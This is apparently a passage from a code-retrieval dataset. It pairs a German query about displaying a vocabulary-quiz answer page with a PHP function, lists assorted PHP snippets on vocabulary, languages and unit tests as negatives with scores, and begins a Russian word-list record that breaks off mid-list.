'image' => 'public/word12.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound12.mp3',\n 'topic_id' => 2\n \n ],[\n 'id' => 6,\n 'word' => 'Network',\n 'pronunciation' => 'ˈnetwɜːrk',\n 'meaning'=>'kết nối\n ',\n 'image' => 'public/word13.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound13.mp3',\n 'topic_id' => 2\n \n ],[\n 'id' => 7,\n 'word' => 'Popularize',\n 'pronunciation' => 'ˈpɑːpjələraɪz',\n 'meaning'=>'làm cho phổ biến',\n 'image' => 'public/word14.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound14.mp3',\n 'topic_id' => 2\n \n ]\n ]\n );\n }",
"public function testShow(): void { }",
"public function run()\n {\n $language=New Language();\n $language->name='español';\n $language->save();\n\n $language=New Language();\n $language->name='ingles';\n $language->save();\n\n $language=New Language();\n $language->name='tailandes';\n $language->save();\n }",
"public function testWords()\n {\n $str = new Str($this->testString);\n $result = $str->words();\n $this->assertTrue(is_array($result));\n $this->assertTrue($result[0] === 'The');\n }",
"public function testLongMixedCaseWord() : void\n {\n $word = 'OxyphenButazone';\n $this->assertEquals(41, score($word));\n }",
"public function testListAllDocuments()\n {\n }",
"public function countVocabulary()\n {\n /*\n * Note: query() as opposed to prepare() and execute()\n * query() has two args:\n * 1) a string (sql query)\n * 2) an array of the vars that match the query placeholders, empty here because there are no placeholders.\n */\n $result = $this->sdb->query('select count(*) as count from vocabulary',\n array());\n $row = $this->sdb->fetchrow($result);\n return $row['count'];\n }",
"public function test() {\n \t\n\t\tprint_r('hello stef');\n \t\n }",
"public function testGetSurveyQuestionChoices0()\n {\n }",
"public function testGetSurveyQuestionChoices0()\n {\n }",
"function getVocab($vocabKey){\n\t\t $vocabs = $this->vocabs;\n\t\t if(array_key_exists($vocabKey, $vocabs)){\n\t\t\t\t$vocabFile = $vocabs[$vocabKey];\n\t\t\t\t$XSDstring = $this->getXSD($vocabKey, $vocabFile);\n\t\t\t\treturn $XSDstring;\n\t\t }\n\t\t else{\n\t\t\t\treturn false;\n\t\t } \n\t }",
"public function testCreateDocument()\n {\n }",
"public function test_library_volumeLanguageFamily() {\n\t\t$path = route('v2_library_volumeLanguageFamily', [], false);\n\n\t\techo \"\\nTesting: \" . route('v2_library_volumeLanguageFamily', $this->params);\n\t\t$response = $this->get(route('v2_library_volumeLanguageFamily'), $this->params);\n\t\t$response->assertSuccessful();\n\t\t$response->assertJsonStructure( [$this->getSchemaKeys('v2_library_volumeLanguageFamily')]);\n\t\t$this->compareToOriginal($path, [$this->getSchemaKeys('v2_library_volumeLanguageFamily')]);\n\t}",
"public function index()\n {\t\n $this->variation();\n }",
"function getVista()\n {\n try {\n $list = $this->mCategory->get_All();\n include_once('./vistes/categoria.php');\n }catch(Exception $e){\n $this->error->throwException('304', 'No s`ha pogut carregar les dades i la vista', $e);\n }\n }",
"public function testWordFlip()\n {\n $service = new WordService();\n\n $this->assertEquals('olleH', $service->wordFlip('Hello'));\n }",
"public static function updateVocabulary($user_id,$type_id,$vocabulary_id){\n\t\t$user_id = DbAgent::queryEncode($user_id, DbAgent::$DB_NUMBER);\n\t\t$type_id = DbAgent::queryEncode($type_id, DbAgent::$DB_NUMBER);\n\t\t$vocabulary_id = DbAgent::queryEncode($vocabulary_id, DbAgent::$DB_NUMBER);\n\t\t$sql = \"INSERT INTO study_t (user_id, type_id, content_id)\n\t\t\t\tVALUES ($user_id, $type_id,$vocabulary_id)\";\n\t\t\t\tDatabase::currentDb()->execute($sql);\n\n\t}",
"function difundir() {\n $frase = $this->obtener_frase();\n echo $frase;\n }",
"function ubercontent_save_taxonomy_vocabs($vocabs) {\n\t// make sure we're working with an array\n\tif(empty($vocabs)) return;\n\t// iterate through each vocabulary array and programitically create the vocabulary/terms\n\tforeach($vocabs as $machine_name => $vocab) {\n\t\t// separate the array terms from the vocab object\n\t\t$terms = isset($vocab['terms']) ? $vocab['terms'] : array();\n\t\t$vocabulary = (object)$vocab['vocabulary'];\n\t\t// check if a term exists for this machine name, if so, skip this vocab\n\t\tif(taxonomy_vocabulary_machine_name_load($machine_name)) continue;\n\t\t// create the vocabulary term\n\t\t$status = taxonomy_vocabulary_save($vocabulary);\n\t\t// add the vid to variable storage\n\t\tvariable_set($vocabulary->machine_name .'_vocabulary', $vocabulary->vid);\n\t\t// add each term to the vocabulary\n\t\tforeach($terms as $term) {\n\t\t\t// add the vid to the term\n\t\t\t$term['vid'] = $vocabulary->vid;\n\t\t\ttaxonomy_term_save((object)$term);\n\t\t}\n\t}\n\n}",
"protected function generateLocalLang() {}",
"public function testSetCodeLangue() {\n\n $obj = new Collaborateurs();\n\n $obj->setCodeLangue(\"codeLangue\");\n $this->assertEquals(\"codeLangue\", $obj->getCodeLangue());\n }",
"public function testGenerateDictionary() {\n\n $lan = new Language();\n $lan->setLanguageCode('en_US');\n $lan->setLanguageId(1);\n $lan->setLanguageName('English');\n $lan->setLanguageStatus('');\n\n $labelList = array();\n $langLabelList = array();\n\n foreach ($this->testCases['Label'] as $key => $testCase) {\n $label = new Label();\n $label->setLabelId($testCase['label_id']);\n $label->setLabelName($testCase['label_name']);\n $label->setLabelComment($testCase['label_comment']);\n $label->setLabelStatus($testCase['label_status']);\n\n array_push($labelList, $label);\n }\n\n foreach ($this->testCases['LanguageLabelString'] as $key => $testCase) {\n $langStr = new LanguageLabelString();\n $langStr->setLanguageLabelStringId($testCase['language_label_string_id']);\n $langStr->setLabelId($testCase['label_id']);\n $langStr->setLanguageId($testCase['language_id']);\n $langStr->setLanguageLabelString($testCase['language_label_string']);\n $langStr->setLanguageGroupId($testCase['language_group_id']);\n $langStr->setLanguageLabelStringStatus($testCase['language_label_string_status']);\n \n array_push($langLabelList, $langStr);\n }\n\n $this->localizationDao = $this->getMock('LocalizationDao');\n\n $this->localizationDao->expects($this->any())\n ->method('getLanguageById')\n ->will($this->returnValue($lan));\n\n $this->localizationDao->expects($this->once())\n ->method('getDataList')\n ->will($this->returnValue($labelList));\n\n $this->localizationDao->expects($this->once())\n ->method('getLanguageStringBySrcTargetAndLanguageGroupId')\n ->will($this->returnValue($langLabelList));\n \n $this->locaizationService->setLocalizationDao($this->localizationDao);\n\n $result = $this->locaizationService->generateDictionary('1', '2', '1');\n $this->assertTrue($result);\n $this->assertFileExists(sfConfig::get('sf_web_dir') . \"/language_files/messages.si.xml\");\n }",
"public function getVocabularyTermsList() {\n return $this->_get(2);\n }",
"public function testGetPublicDocument()\n {\n }",
"public function testListPastWebinarQA()\n {\n }",
"function difundir() {\n\n // La funcion obtener_frase esta heredado del pariente Orador\n $frase = $this->obtener_frase();\n\n // Convirtir a mayusculos\n $frase_mayusculas = strtoupper($frase);\n\n echo $frase_mayusculas;\n\n }",
"public function testTranslation(): void\n {\n $this->assertTranslatedHolidayName(\n self::REGION,\n self::HOLIDAY,\n $this->generateRandomYear(self::ESTABLISHMENT_YEAR, 2019),\n [self::LOCALE => '体育の日']\n );\n }",
"public function testValidateDocumentEmlValidation()\n {\n }",
"public function test() {\n\n\t}",
"function langonet_tester_definition() {\n\t// Commenter ou decommenter les lignes suivantes pour tester les differents cas de verification\n\t// VERIFICATION DEFINITION : Erreurs\n\t// -- Les items suivants, utilises comme des items du module Langonet, ne sont pas definis dans langonet-tests_fr.php\n\t$essai = _T('langonet-tests:test_item_non_defini_1');\n\t$essai = _T('langonet-tests:test_item_non_defini_2');\n\n\t// VERIFICATION DEFINITION : Erreurs\n\t// -- Les items suivants, utilises comme des items de modules differents de Langonet, ne sont pas definis dans leur fichier\n\t// de langue respectif (spip, ecrire ou public.php pour le premier, cfg_fr pour le second)\n\t$essai = _T('test_item_non_defini_3');\n\t$essai = _T('cfg:test_item_non_defini_4');\n\t$essai = _T('cfg:bouton_valider');\n\n\t// VERIFICATION DEFINITION : Avertissements\n\t// -- Les items suivants n'appartiennent pas au module Langonet, sont utilises dans Langonet mais bien definis dans leur \n\t// fichier de langue respectif\n\t$essai = array(0 => _T('date_jour_1'));\n\t$essai = array_push(_T('cfg:bouton_effacer'));\n\n\t// VERIFICATION DEFINITION : Avertissements\n\t// -- Les items suivants sont utilises dans un contexte complexe. Ce sont des items de Langonet ou pas\n\t$essai = _T('langonet-tests:test_item_1_'.$variable);\n\t$essai = _T('test_item_2_'.$variable);\n\t$essai = _T(\"langonet-tests:$arg1\");\n\t$essai = _T('langonet-tests:' . $arg2);\n\t$essai = _T(\"langonet-tests:\".$arg3);\n\n\t// VERIFICATION _L() : Erreurs\n\t$essai = _L('Test 1 _L() de langonet');\n\t$essai = _L(\"Test 2 _L() de langonet\");\n\t$essai = _L(\"Test 3 _L()\", $arg4);\n\t$essai = _L('Test 4 _L()' . $arg5);\n\t$essai = _L(\"Test 5 _L()$arg6\");\n\t$essai = _L(\"Test 6 _L()${arg7}\");\n\t$essai = _L(\"Test 7 _L()\");\n\t$essai = _L (\"TEST 7 _L()\");\n\t$essai = _L\t\t(\"Test 7 _L()\");\n\t$essai = _L(\"T1234567890123456789012345678901abcdef\");\n}",
"public function testEditSnippet()\n {\n\n }",
"function words_init() {\r\n\t\tif(!isset($this->words_array)) {\r\n\t\t\tif($this->language === \"french\") {\r\n\t\t\t\t//$this->words_array = explode(\"\\n\", utf8_encode(file_get_contents(\"acronyms/fra/mots.txt\")));\r\n\t\t\t\t//$this->entitied_words_array = explode(\"\\n\", utf8_encode(htmlentities(file_get_contents(\"acronyms/fra/mots.txt\"))));\r\n\t\t\t\t//$this->words_array = explode(\"\\n\", iconv(\"iso-8859-1\", $this->config['encoding'] . \"//TRANSLIT\", file_get_contents(\"acronyms/fra/mots.txt\")));\r\n\t\t\t\t$this->words_array = explode(\"\\n\", file_get_contents('abbr' . DS . 'fra' . DS . 'mots.txt'));\r\n\t\t\t\t$this->entitied_words_array = explode(\"\\n\", htmlentities(file_get_contents('abbr' . DS . 'fra' . DS . 'mots.txt')));\r\n\t\t\t} else { // default is english\r\n\t\t\t\t//$this->words_array = explode(\"\\r\\n\", utf8_encode(file_get_contents(\"acronyms/eng/words.txt\")));\r\n\t\t\t\t//$this->entitied_words_array = explode(\"\\r\\n\", utf8_encode(htmlentities(file_get_contents(\"acronyms/eng/words.txt\"))));\r\n\t\t\t\t//$this->words_array = explode(\"\\r\\n\", iconv(\"iso-8859-1\", $this->config['encoding'] . \"//TRANSLIT\", file_get_contents(\"acronyms/eng/words.txt\")));\r\n\t\t\t\t$this->words_array = explode(\"\\r\\n\", file_get_contents('abbr' . DS . 'eng' . DS . 'words.txt'));\r\n\t\t\t\t$this->entitied_words_array = explode(\"\\r\\n\", htmlentities(file_get_contents('abbr' . DS . 'eng' . DS . 'words.txt')));\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!isset($this->stop_words_array)) {\r\n\t\t\tif($this->language === \"french\") {\r\n\t\t\t\t$this->stopWordsFile = 'abbr' . DS . 'fra' . DS . 'stop_words.txt';\r\n\t\t\t} else { // default to english\r\n\t\t\t\t$this->stopWordsFile = 'abbr' . DS . 'eng' . DS . 'stop_words_small.txt';\r\n\t\t\t}\r\n\t\t\t//$this->stop_words_array = explode(\"\\r\\n\", utf8_encode(file_get_contents($this->stopWordsFile)));\r\n\t\t\t//$this->entitied_stop_words_array = explode(\"\\r\\n\", utf8_encode(htmlentities(file_get_contents($this->stopWordsFile))));\r\n\t\t\t//$this->stop_words_array = explode(\"\\r\\n\", iconv(\"iso-8859-1\", $this->config['encoding'] . \"//TRANSLIT\", file_get_contents($this->stopWordsFile)));\r\n\t\t\t$this->stop_words_array = explode(\"\\r\\n\", file_get_contents($this->stopWordsFile));\r\n\t\t\t$this->entitied_stop_words_array = explode(\"\\r\\n\", htmlentities(file_get_contents($this->stopWordsFile)));\r\n\t\t}\r\n\t\tif(!isset($this->french_headings_normalization_exceptions)) {\r\n\t\t\t$this->french_headings_normalization_exceptions = array(\r\n\t\t\t// search => replace\r\n\t\t\t'comité de surveillance des activités de renseignement de sécurité' => 'Comité de surveillance des activités de renseignement de sécurité',\r\n\t\t\t'comité de surveillance des activités de renseignement de sécurité' => 'Comité de surveillance des activités de renseignement de sécurité',\r\n\t\t\t'commission d\\'examen des plaintes concernant la police militaire' => 'Commission d\\'examen des plaintes concernant la police militaire',\r\n\t\t\t'service des poursuites pénales du Canada' => 'Service des poursuites pénales du Canada',\r\n\t\t\t'service des poursuites pénales du Canada' => 'Service des poursuites pénales du Canada',\r\n\t\t\t'agence parcs canada' => 'Agence Parcs Canada',\r\n\t\t\t'parcs canada' => 'Parcs Canada',\r\n\t\t\t\r\n\t\t\t'canada' => 'Canada',\r\n\t\t\t'parlement' => 'Parlement',\r\n\t\t\t\r\n\t\t\t'québec' => 'Québec',\r\n\t\t\t'québec' => 'Québec',\r\n\t\t\t'ontario' => 'Ontario',\r\n\t\t\t'colombie-britannique' => 'Colombie-Britannique',\r\n\t\t\t'alberta' => 'Alberta',\r\n\t\t\t'saskatchewan' => 'Saskatchewan',\r\n\t\t\t'manitoba' => 'Manitoba',\r\n\t\t\t'nouveau-brunswick' => 'Nouveau-brunswick',\r\n\t\t\t'île-du-prince-édouard' => 'Île-du-Prince-Édouard',\r\n\t\t\t'île-du-prince-édouard' => 'Île-du-Prince-Édouard',\r\n\t\t\t'nouvelle-écosse' => 'Nouvelle-Écosse',\r\n\t\t\t'nouvelle-écosse' => 'Nouvelle-Écosse',\r\n\t\t\t'terre-neuve' => 'Terre-Neuve',\r\n\t\t\t'yukon' => 'Yukon',\r\n\t\t\t'territoires du nord-ouest' => 'Territoires du Nord-Ouest',\r\n\t\t\t'nunavut' => 'Nunavut',\r\n\t\t\t\r\n\t\t\t'ottawa' => 'Ottawa',\r\n\t\t\t'toronto' => 'Toronto',\r\n\t\t\t'montréal' => 'Montréal',\r\n\t\t\t'montréal' => 'Montréal',\r\n\t\t\t'vancouver' => 'Vancouver',\r\n\t\t\t\r\n\t\t\t'majesté' => 'Majesté',\r\n\t\t\t'majesté' => 'Majesté',\r\n\t\t\t'directeur général' => 'Directeur général',\r\n\t\t\t'directeur général' => 'Directeur général',\r\n\t\t\t\r\n\t\t\t);\r\n\t\t}\r\n\t}",
"public function testGetTitle(){\n $this->assertSame(\"Ms./Mrs.\", Customer::getTitle(\"female\"));\n $this->assertSame(\"Mr.\", Customer::getTitle(\"male\"));\n $this->assertSame(\"\", Customer::getTitle(\"\"));\n $this->assertSame(\"\", Customer::getTitle(\"daererer\"));\n }",
"public function testListIdentities()\n {\n }"
] | [
"0.6628837",
"0.64975566",
"0.61772025",
"0.59104747",
"0.58468235",
"0.5814384",
"0.57725024",
"0.5761054",
"0.57221645",
"0.560295",
"0.560295",
"0.556672",
"0.5534702",
"0.5526161",
"0.5485521",
"0.548261",
"0.5479273",
"0.54625803",
"0.53975135",
"0.53531665",
"0.5350517",
"0.5315383",
"0.53048855",
"0.53035367",
"0.52734846",
"0.5236532",
"0.52157676",
"0.5210398",
"0.51997674",
"0.5184465",
"0.5181617",
"0.51458675",
"0.5124673",
"0.50993",
"0.5071386",
"0.5062771",
"0.5026674",
"0.502587",
"0.50222594",
"0.5011804",
"0.50080484",
"0.50075233",
"0.49912113",
"0.49774304",
"0.49722987",
"0.4958511",
"0.49491084",
"0.49480152",
"0.49478745",
"0.4947446",
"0.49428424",
"0.4937813",
"0.4935024",
"0.49336562",
"0.49288824",
"0.4926299",
"0.4915602",
"0.489955",
"0.489668",
"0.488555",
"0.48824507",
"0.48824507",
"0.48762578",
"0.4870524",
"0.48635313",
"0.4855488",
"0.48534033",
"0.48529065",
"0.48508438",
"0.48496252",
"0.48429283",
"0.48407617",
"0.48397943",
"0.48390168",
"0.48377806",
"0.48377806",
"0.4837685",
"0.48349857",
"0.48285306",
"0.48270354",
"0.48252508",
"0.48242265",
"0.4819061",
"0.4816705",
"0.48147348",
"0.48119622",
"0.480656",
"0.4804738",
"0.48017785",
"0.48016056",
"0.47938713",
"0.4790394",
"0.47901142",
"0.47899675",
"0.47895515",
"0.47833654",
"0.47768807",
"0.47724754",
"0.47588044",
"0.4757736"
] | 0.6237998 | 2 |
Stellt die Seite einer beantworteten Vokabelabfrage dar (vocabularyAnswer.php). | private function printAnswerPage() {
$correctVocabulary = 0;
$wrongVocabulary = 1;
include ('html/vocabularyAnswer.php');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"static public function words() : array {\n return [\n \"абажур\",\n \"абзац\",\n \"абонент\",\n \"абрикос\",\n \"абсурд\",\n \"авангард\",\n \"август\",\n \"авиация\",\n \"авоська\",\n \"автор\",\n \"агат\",\n \"агент\",\n \"агитатор\",\n \"агнец\",\n \"агония\",\n \"агрегат\",\n \"адвокат\",\n \"адмирал\",\n \"адрес\",\n \"ажиотаж\",\n \"азарт\",\n \"азбука\",\n \"азот\",\n \"аист\",\n \"айсберг\",\n \"академия\",\n \"аквариум\",\n \"аккорд\",\n \"акробат\",\n \"аксиома\",\n \"актер\",\n \"акула\",\n \"акция\",\n \"алгоритм\",\n \"алебарда\",\n \"аллея\",\n \"алмаз\",\n \"алтарь\",\n \"алфавит\",\n \"алхимик\",\n \"алый\",\n \"альбом\",\n \"алюминий\",\n \"амбар\",\n \"аметист\",\n \"амнезия\",\n \"ампула\",\n \"амфора\",\n \"анализ\",\n \"ангел\",\n \"анекдот\",\n \"анимация\",\n \"анкета\",\n \"аномалия\",\n \"ансамбль\",\n \"антенна\",\n \"апатия\",\n \"апельсин\",\n \"апофеоз\",\n \"аппарат\",\n \"апрель\",\n \"аптека\",\n \"арабский\",\n \"арбуз\",\n \"аргумент\",\n \"арест\",\n \"ария\",\n \"арка\",\n \"армия\",\n \"аромат\",\n \"арсенал\",\n \"артист\",\n \"архив\",\n \"аршин\",\n \"асбест\",\n \"аскетизм\",\n \"аспект\",\n \"ассорти\",\n \"астроном\",\n \"асфальт\",\n \"атака\",\n \"ателье\",\n \"атлас\",\n \"атом\",\n \"атрибут\",\n \"аудитор\",\n \"аукцион\",\n \"аура\",\n \"афера\",\n \"афиша\",\n \"ахинея\",\n \"ацетон\",\n \"аэропорт\",\n \"бабушка\",\n \"багаж\",\n \"бадья\",\n \"база\",\n \"баклажан\",\n \"балкон\",\n \"бампер\",\n \"банк\",\n \"барон\",\n \"бассейн\",\n \"батарея\",\n \"бахрома\",\n \"башня\",\n \"баян\",\n \"бегство\",\n \"бедро\",\n \"бездна\",\n \"бекон\",\n \"белый\",\n \"бензин\",\n \"берег\",\n \"беседа\",\n \"бетонный\",\n \"биатлон\",\n \"библия\",\n \"бивень\",\n \"бигуди\",\n \"бидон\",\n \"бизнес\",\n \"бикини\",\n \"билет\",\n \"бинокль\",\n \"биология\",\n \"биржа\",\n \"бисер\",\n \"битва\",\n \"бицепс\",\n \"благо\",\n \"бледный\",\n \"близкий\",\n \"блок\",\n \"блуждать\",\n \"блюдо\",\n \"бляха\",\n \"бобер\",\n \"богатый\",\n \"бодрый\",\n \"боевой\",\n \"бокал\",\n \"большой\",\n \"борьба\",\n \"босой\",\n \"ботинок\",\n \"боцман\",\n \"бочка\",\n \"боярин\",\n \"брать\",\n \"бревно\",\n \"бригада\",\n \"бросать\",\n \"брызги\",\n \"брюки\",\n \"бублик\",\n \"бугор\",\n \"будущее\",\n \"буква\",\n \"бульвар\",\n \"бумага\",\n \"бунт\",\n \"бурный\",\n \"бусы\",\n \"бутылка\",\n \"буфет\",\n \"бухта\",\n \"бушлат\",\n \"бывалый\",\n \"быль\",\n \"быстрый\",\n \"быть\",\n \"бюджет\",\n \"бюро\",\n \"бюст\",\n \"вагон\",\n \"важный\",\n \"ваза\",\n \"вакцина\",\n \"валюта\",\n \"вампир\",\n \"ванная\",\n \"вариант\",\n \"вассал\",\n \"вата\",\n \"вафля\",\n \"вахта\",\n \"вдова\",\n \"вдыхать\",\n \"ведущий\",\n \"веер\",\n \"вежливый\",\n \"везти\",\n \"веко\",\n \"великий\",\n \"вена\",\n \"верить\",\n \"веселый\",\n \"ветер\",\n \"вечер\",\n \"вешать\",\n \"вещь\",\n \"веяние\",\n \"взаимный\",\n \"взбучка\",\n \"взвод\",\n \"взгляд\",\n \"вздыхать\",\n \"взлетать\",\n \"взмах\",\n \"взнос\",\n \"взор\",\n \"взрыв\",\n \"взывать\",\n \"взятка\",\n \"вибрация\",\n \"визит\",\n \"вилка\",\n \"вино\",\n \"вирус\",\n \"висеть\",\n \"витрина\",\n \"вихрь\",\n \"вишневый\",\n \"включать\",\n \"вкус\",\n \"власть\",\n \"влечь\",\n \"влияние\",\n \"влюблять\",\n \"внешний\",\n \"внимание\",\n \"внук\",\n \"внятный\",\n \"вода\",\n \"воевать\",\n \"вождь\",\n \"воздух\",\n \"войти\",\n \"вокзал\",\n \"волос\",\n \"вопрос\",\n \"ворота\",\n \"восток\",\n \"впадать\",\n \"впускать\",\n \"врач\",\n \"время\",\n \"вручать\",\n \"всадник\",\n \"всеобщий\",\n \"вспышка\",\n \"встреча\",\n \"вторник\",\n \"вулкан\",\n \"вурдалак\",\n \"входить\",\n \"въезд\",\n \"выбор\",\n \"вывод\",\n \"выгодный\",\n \"выделять\",\n \"выезжать\",\n \"выживать\",\n \"вызывать\",\n \"выигрыш\",\n \"вылезать\",\n \"выносить\",\n \"выпивать\",\n \"высокий\",\n \"выходить\",\n \"вычет\",\n \"вышка\",\n \"выяснять\",\n \"вязать\",\n \"вялый\",\n \"гавань\",\n \"гадать\",\n \"газета\",\n \"гаишник\",\n \"галстук\",\n \"гамма\",\n \"гарантия\",\n \"гастроли\",\n \"гвардия\",\n \"гвоздь\",\n \"гектар\",\n \"гель\",\n \"генерал\",\n \"геолог\",\n \"герой\",\n \"гешефт\",\n \"гибель\",\n \"гигант\",\n \"гильза\",\n \"гимн\",\n \"гипотеза\",\n \"гитара\",\n \"глаз\",\n \"глина\",\n \"глоток\",\n \"глубокий\",\n \"глыба\",\n \"глядеть\",\n \"гнать\",\n \"гнев\",\n \"гнить\",\n \"гном\",\n \"гнуть\",\n \"говорить\",\n \"годовой\",\n \"голова\",\n \"гонка\",\n \"город\",\n \"гость\",\n \"готовый\",\n \"граница\",\n \"грех\",\n \"гриб\",\n \"громкий\",\n \"группа\",\n \"грызть\",\n \"грязный\",\n \"губа\",\n \"гудеть\",\n \"гулять\",\n \"гуманный\",\n \"густой\",\n \"гуща\",\n \"давать\",\n \"далекий\",\n \"дама\",\n \"данные\",\n \"дарить\",\n \"дать\",\n \"дача\",\n \"дверь\",\n \"движение\",\n \"двор\",\n \"дебют\",\n \"девушка\",\n \"дедушка\",\n \"дежурный\",\n \"дезертир\",\n \"действие\",\n \"декабрь\",\n \"дело\",\n \"демократ\",\n \"день\",\n \"депутат\",\n \"держать\",\n \"десяток\",\n \"детский\",\n \"дефицит\",\n \"дешевый\",\n \"деятель\",\n \"джаз\",\n \"джинсы\",\n \"джунгли\",\n \"диалог\",\n \"диван\",\n \"диета\",\n \"дизайн\",\n \"дикий\",\n \"динамика\",\n \"диплом\",\n \"директор\",\n \"диск\",\n \"дитя\",\n \"дичь\",\n \"длинный\",\n \"дневник\",\n \"добрый\",\n \"доверие\",\n \"договор\",\n \"дождь\",\n \"доза\",\n \"документ\",\n \"должен\",\n \"домашний\",\n \"допрос\",\n \"дорога\",\n \"доход\",\n \"доцент\",\n \"дочь\",\n \"дощатый\",\n \"драка\",\n \"древний\",\n \"дрожать\",\n \"друг\",\n \"дрянь\",\n \"дубовый\",\n \"дуга\",\n \"дудка\",\n \"дукат\",\n \"дуло\",\n \"думать\",\n \"дупло\",\n \"дурак\",\n \"дуть\",\n \"духи\",\n \"душа\",\n \"дуэт\",\n \"дымить\",\n \"дыня\",\n \"дыра\",\n \"дыханье\",\n \"дышать\",\n \"дьявол\",\n \"дюжина\",\n \"дюйм\",\n \"дюна\",\n \"дядя\",\n \"дятел\",\n \"егерь\",\n \"единый\",\n \"едкий\",\n \"ежевика\",\n \"ежик\",\n \"езда\",\n \"елка\",\n \"емкость\",\n \"ерунда\",\n \"ехать\",\n \"жадный\",\n \"жажда\",\n \"жалеть\",\n \"жанр\",\n \"жара\",\n \"жать\",\n \"жгучий\",\n \"ждать\",\n \"жевать\",\n \"желание\",\n \"жемчуг\",\n \"женщина\",\n \"жертва\",\n \"жесткий\",\n \"жечь\",\n \"живой\",\n \"жидкость\",\n \"жизнь\",\n \"жилье\",\n \"жирный\",\n \"житель\",\n \"журнал\",\n \"жюри\",\n \"забывать\",\n \"завод\",\n \"загадка\",\n \"задача\",\n \"зажечь\",\n \"зайти\",\n \"закон\",\n \"замечать\",\n \"занимать\",\n \"западный\",\n \"зарплата\",\n \"засыпать\",\n \"затрата\",\n \"захват\",\n \"зацепка\",\n \"зачет\",\n \"защита\",\n \"заявка\",\n \"звать\",\n \"звезда\",\n \"звонить\",\n \"звук\",\n \"здание\",\n \"здешний\",\n \"здоровье\",\n \"зебра\",\n \"зевать\",\n \"зеленый\",\n \"земля\",\n \"зенит\",\n \"зеркало\",\n \"зефир\",\n \"зигзаг\",\n \"зима\",\n \"зиять\",\n \"злак\",\n \"злой\",\n \"змея\",\n \"знать\",\n \"зной\",\n \"зодчий\",\n \"золотой\",\n \"зомби\",\n \"зона\",\n \"зоопарк\",\n \"зоркий\",\n \"зрачок\",\n \"зрение\",\n \"зритель\",\n \"зубной\",\n \"зыбкий\",\n \"зять\",\n \"игла\",\n \"иголка\",\n \"играть\",\n \"идея\",\n \"идиот\",\n \"идол\",\n \"идти\",\n \"иерархия\",\n \"избрать\",\n \"известие\",\n \"изгонять\",\n \"издание\",\n \"излагать\",\n \"изменять\",\n \"износ\",\n \"изоляция\",\n \"изрядный\",\n \"изучать\",\n \"изымать\",\n \"изящный\",\n \"икона\",\n \"икра\",\n \"иллюзия\",\n \"имбирь\",\n \"иметь\",\n \"имидж\",\n \"иммунный\",\n \"империя\",\n \"инвестор\",\n \"индивид\",\n \"инерция\",\n \"инженер\",\n \"иномарка\",\n \"институт\",\n \"интерес\",\n \"инфекция\",\n \"инцидент\",\n \"ипподром\",\n \"ирис\",\n \"ирония\",\n \"искать\",\n \"история\",\n \"исходить\",\n \"исчезать\",\n \"итог\",\n \"июль\",\n \"июнь\",\n \"кабинет\",\n \"кавалер\",\n \"кадр\",\n \"казарма\",\n \"кайф\",\n \"кактус\",\n \"калитка\",\n \"камень\",\n \"канал\",\n \"капитан\",\n \"картина\",\n \"касса\",\n \"катер\",\n \"кафе\",\n \"качество\",\n \"каша\",\n \"каюта\",\n \"квартира\",\n \"квинтет\",\n \"квота\",\n \"кедр\",\n \"кекс\",\n \"кенгуру\",\n \"кепка\",\n \"керосин\",\n \"кетчуп\",\n \"кефир\",\n \"кибитка\",\n \"кивнуть\",\n \"кидать\",\n \"километр\",\n \"кино\",\n \"киоск\",\n \"кипеть\",\n \"кирпич\",\n \"кисть\",\n \"китаец\",\n \"класс\",\n \"клетка\",\n \"клиент\",\n \"клоун\",\n \"клуб\",\n \"клык\",\n \"ключ\",\n \"клятва\",\n \"книга\",\n \"кнопка\",\n \"кнут\",\n \"князь\",\n \"кобура\",\n \"ковер\",\n \"коготь\",\n \"кодекс\",\n \"кожа\",\n \"козел\",\n \"койка\",\n \"коктейль\",\n \"колено\",\n \"компания\",\n \"конец\",\n \"копейка\",\n \"короткий\",\n \"костюм\",\n \"котел\",\n \"кофе\",\n \"кошка\",\n \"красный\",\n \"кресло\",\n \"кричать\",\n \"кровь\",\n \"крупный\",\n \"крыша\",\n \"крючок\",\n \"кубок\",\n \"кувшин\",\n \"кудрявый\",\n \"кузов\",\n \"кукла\",\n \"культура\",\n \"кумир\",\n \"купить\",\n \"курс\",\n \"кусок\",\n \"кухня\",\n \"куча\",\n \"кушать\",\n \"кювет\",\n \"лабиринт\",\n \"лавка\",\n \"лагерь\",\n \"ладонь\",\n \"лазерный\",\n \"лайнер\",\n \"лакей\",\n \"лампа\",\n \"ландшафт\",\n \"лапа\",\n \"ларек\",\n \"ласковый\",\n \"лауреат\",\n \"лачуга\",\n \"лаять\",\n \"лгать\",\n \"лебедь\",\n \"левый\",\n \"легкий\",\n \"ледяной\",\n \"лежать\",\n \"лекция\",\n \"лента\",\n \"лепесток\",\n \"лесной\",\n \"лето\",\n \"лечь\",\n \"леший\",\n \"лживый\",\n \"либерал\",\n \"ливень\",\n \"лига\",\n \"лидер\",\n \"ликовать\",\n \"лиловый\",\n \"лимон\",\n \"линия\",\n \"липа\",\n \"лирика\",\n \"лист\",\n \"литр\",\n \"лифт\",\n \"лихой\",\n \"лицо\",\n \"личный\",\n \"лишний\",\n \"лобовой\",\n \"ловить\",\n \"логика\",\n \"лодка\",\n \"ложка\",\n \"лозунг\",\n \"локоть\",\n \"ломать\",\n \"лоно\",\n \"лопата\",\n \"лорд\",\n \"лось\",\n \"лоток\",\n \"лохматый\",\n \"лошадь\",\n \"лужа\",\n \"лукавый\",\n \"луна\",\n \"лупить\",\n \"лучший\",\n \"лыжный\",\n \"лысый\",\n \"львиный\",\n \"льгота\",\n \"льдина\",\n \"любить\",\n \"людской\",\n \"люстра\",\n \"лютый\",\n \"лягушка\",\n \"магазин\",\n \"мадам\",\n \"мазать\",\n \"майор\",\n \"максимум\",\n \"мальчик\",\n \"манера\",\n \"март\",\n \"масса\",\n \"мать\",\n \"мафия\",\n \"махать\",\n \"мачта\",\n \"машина\",\n \"маэстро\",\n \"маяк\",\n \"мгла\",\n \"мебель\",\n \"медведь\",\n \"мелкий\",\n \"мемуары\",\n \"менять\",\n \"мера\",\n \"место\",\n \"метод\",\n \"механизм\",\n \"мечтать\",\n \"мешать\",\n \"миграция\",\n \"мизинец\",\n \"микрофон\",\n \"миллион\",\n \"минута\",\n \"мировой\",\n \"миссия\",\n \"митинг\",\n 